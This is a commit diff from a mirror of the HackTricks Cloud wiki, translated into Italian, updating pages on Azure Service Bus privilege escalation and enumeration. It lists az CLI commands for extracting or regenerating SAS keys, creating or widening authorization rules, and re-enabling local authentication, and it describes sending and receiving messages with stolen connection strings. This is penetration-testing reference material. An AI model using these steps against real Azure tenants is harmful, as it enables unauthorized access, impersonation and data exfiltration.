mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-08 13:50:50 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -10,9 +10,81 @@ Per ulteriori informazioni controlla:
|
||||
../az-services/az-servicebus-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Invia Messaggi. Azione: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` O `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
### Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action OR Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action
|
||||
|
||||
Puoi recuperare il `PrimaryConnectionString`, che funge da credenziale per lo spazio dei nomi del Service Bus. Con questa stringa di connessione, puoi autenticarti completamente come spazio dei nomi del Service Bus, permettendoti di inviare messaggi a qualsiasi coda o argomento e potenzialmente interagire con il sistema in modi che potrebbero interrompere le operazioni, impersonare utenti validi o iniettare dati dannosi nel flusso di messaggistica.
|
||||
Queste autorizzazioni ti consentono di ottenere o rigenerare le chiavi per le regole di autorizzazione locali all'interno di uno spazio dei nomi Service Bus. Utilizzando queste chiavi è possibile autenticarsi come lo spazio dei nomi Service Bus, consentendoti di inviare messaggi a qualsiasi coda o argomento, ricevere messaggi da qualsiasi coda o sottoscrizione, o potenzialmente interagire con il sistema in modi che potrebbero interrompere le operazioni, impersonare utenti validi o iniettare dati dannosi nel flusso di messaggi.
|
||||
|
||||
Nota che per impostazione predefinita la **`RootManageSharedAccessKey` regola ha il controllo completo** sullo spazio dei nomi Service Bus ed è utilizzata dal `az` cli, tuttavia, potrebbero esistere altre regole con altri valori di chiave.
|
||||
```bash
|
||||
# List keys
|
||||
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]
|
||||
|
||||
# Regenerate keys
|
||||
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/AuthorizationRules/write
|
||||
|
||||
Con questo permesso è possibile **creare una nuova regola di autorizzazione** con tutti i permessi e le proprie chiavi con:
|
||||
```bash
|
||||
az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send
|
||||
```
|
||||
>[!WARNING]
|
||||
>Questo comando non restituisce le chiavi, quindi è necessario ottenerle con i comandi (e le autorizzazioni) precedenti per poter elevare i privilegi.
|
||||
|
||||
Inoltre, con quel comando (e `Microsoft.ServiceBus/namespaces/authorizationRules/read`) se esegui questa azione tramite l'Azure CLI, è possibile aggiornare una regola di autorizzazione esistente e darle più autorizzazioni (nel caso ne mancassero alcune) con il seguente comando:
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action
|
||||
|
||||
Argomenti e code specifici all'interno di uno spazio dei nomi Service Bus possono avere le proprie regole di autorizzazione, che possono essere utilizzate per controllare l'accesso all'entità. Avere questi permessi consente di **recuperare o rigenerare le chiavi per queste regole di autorizzazione locali**, permettendoti di autenticarti come l'entità e potenzialmente inviare o ricevere messaggi, gestire le iscrizioni o interagire con il sistema in modi che potrebbero interrompere le operazioni, impersonare utenti validi o iniettare dati dannosi nel flusso di messaggistica.
|
||||
```bash
|
||||
# List keys (topics)
|
||||
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
|
||||
|
||||
# Regenerate keys (topics)
|
||||
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
|
||||
|
||||
# List keys (queues)
|
||||
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
|
||||
|
||||
# Regenerate keys (queues)
|
||||
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write
|
||||
|
||||
Con questo permesso è possibile **creare una nuova regola di autorizzazione** con tutti i permessi e le proprie chiavi con:
|
||||
```bash
|
||||
# In a topic
|
||||
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
|
||||
# In a queue
|
||||
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
```
|
||||
>[!WARNING]
|
||||
>Questo comando non restituisce le chiavi, quindi è necessario ottenerle con i comandi (e le autorizzazioni) precedenti per poter elevare i privilegi.
|
||||
|
||||
Inoltre, con quel comando (e `Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read`) se esegui questa azione tramite l'Azure CLI, è possibile aggiornare una regola di autorizzazione esistente e darle più autorizzazioni (nel caso ne mancassero alcune) con il seguente comando:
|
||||
```bash
|
||||
# In a topic
|
||||
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
|
||||
# In a queue
|
||||
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read se viene utilizzato az cli)
|
||||
|
||||
Con questi permessi **un attaccante può riattivare "l'autenticazione locale"** con il seguente comando e quindi tutte le chiavi delle politiche condivise funzioneranno.
|
||||
```bash
|
||||
az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>
|
||||
```
|
||||
### Invia messaggi con chiavi (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action)
|
||||
|
||||
Puoi recuperare il `PrimaryConnectionString`, che funge da credenziale per lo spazio dei nomi del Service Bus. Con questa stringa di connessione, puoi autenticarti completamente come lo spazio dei nomi del Service Bus, permettendoti di inviare messaggi a qualsiasi coda o argomento e potenzialmente interagire con il sistema in modi che potrebbero interrompere le operazioni, impersonare utenti validi o iniettare dati dannosi nel flusso di messaggistica.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -81,7 +153,7 @@ print("Messages Sent")
|
||||
print("----------------------------")
|
||||
|
||||
```
|
||||
### Ricevi Messaggi. Azione: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` O `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
### Ricevi con chiavi (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action)
|
||||
|
||||
Puoi recuperare il PrimaryConnectionString, che funge da credenziale per il namespace del Service Bus. Utilizzando questa stringa di connessione, puoi ricevere messaggi da qualsiasi coda o sottoscrizione all'interno del namespace, consentendo l'accesso a dati potenzialmente sensibili o critici, abilitando l'exfiltrazione dei dati o interferendo con l'elaborazione dei messaggi e i flussi di lavoro delle applicazioni.
|
||||
```python
|
||||
@@ -127,16 +199,6 @@ asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
Se hai questi permessi, puoi elevare i privilegi leggendo o creando chiavi di accesso condiviso. Queste chiavi consentono il pieno controllo sul namespace di Service Bus, inclusa la gestione di code, argomenti e l'invio/ricezione di messaggi, potenzialmente eludendo i controlli di accesso basati sui ruoli (RBAC).
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
|
||||
@@ -35,7 +35,7 @@ Alcune funzioni avanzate sono:
|
||||
|
||||
### Regola di Autorizzazione / Politica SAS
|
||||
|
||||
Le Politiche SAS definiscono i permessi di accesso per le entità del namespace di Azure Service Bus (la più importante), code e argomenti. Ogni politica ha i seguenti componenti:
|
||||
Le Politiche SAS definiscono i permessi di accesso per le entità del namespace di Azure Service Bus (La più importante), code e argomenti. Ogni politica ha i seguenti componenti:
|
||||
|
||||
- **Permessi**: Caselle di controllo per specificare i livelli di accesso:
|
||||
- Gestire: Concede il pieno controllo sull'entità, inclusa la configurazione e la gestione dei permessi.
|
||||
@@ -54,18 +54,6 @@ sku, regola di autorizzazione,
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus queue show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyQueue>
|
||||
|
||||
# Topic Enumeration
|
||||
az servicebus topic list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus topic show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyTopic>
|
||||
|
||||
# Susbscription Enumeration
|
||||
az servicebus topic subscription list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus topic subscription show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic> --name <MySubscription>
|
||||
|
||||
# Namespace Enumeration
|
||||
az servicebus namespace list
|
||||
az servicebus namespace network-rule-set list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -79,6 +67,23 @@ az servicebus namespace authorization-rule list --resource-group <MyResourceGrou
|
||||
az servicebus queue authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --queue-name <MyQueue>
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
|
||||
# Get keys
|
||||
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]
|
||||
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
|
||||
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <topic-name> --name <auth-rule-name>
|
||||
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus queue show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyQueue>
|
||||
|
||||
# Topic Enumeration
|
||||
az servicebus topic list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus topic show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyTopic>
|
||||
|
||||
# Susbscription Enumeration
|
||||
az servicebus topic subscription list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus topic subscription show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic> --name <MySubscription>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user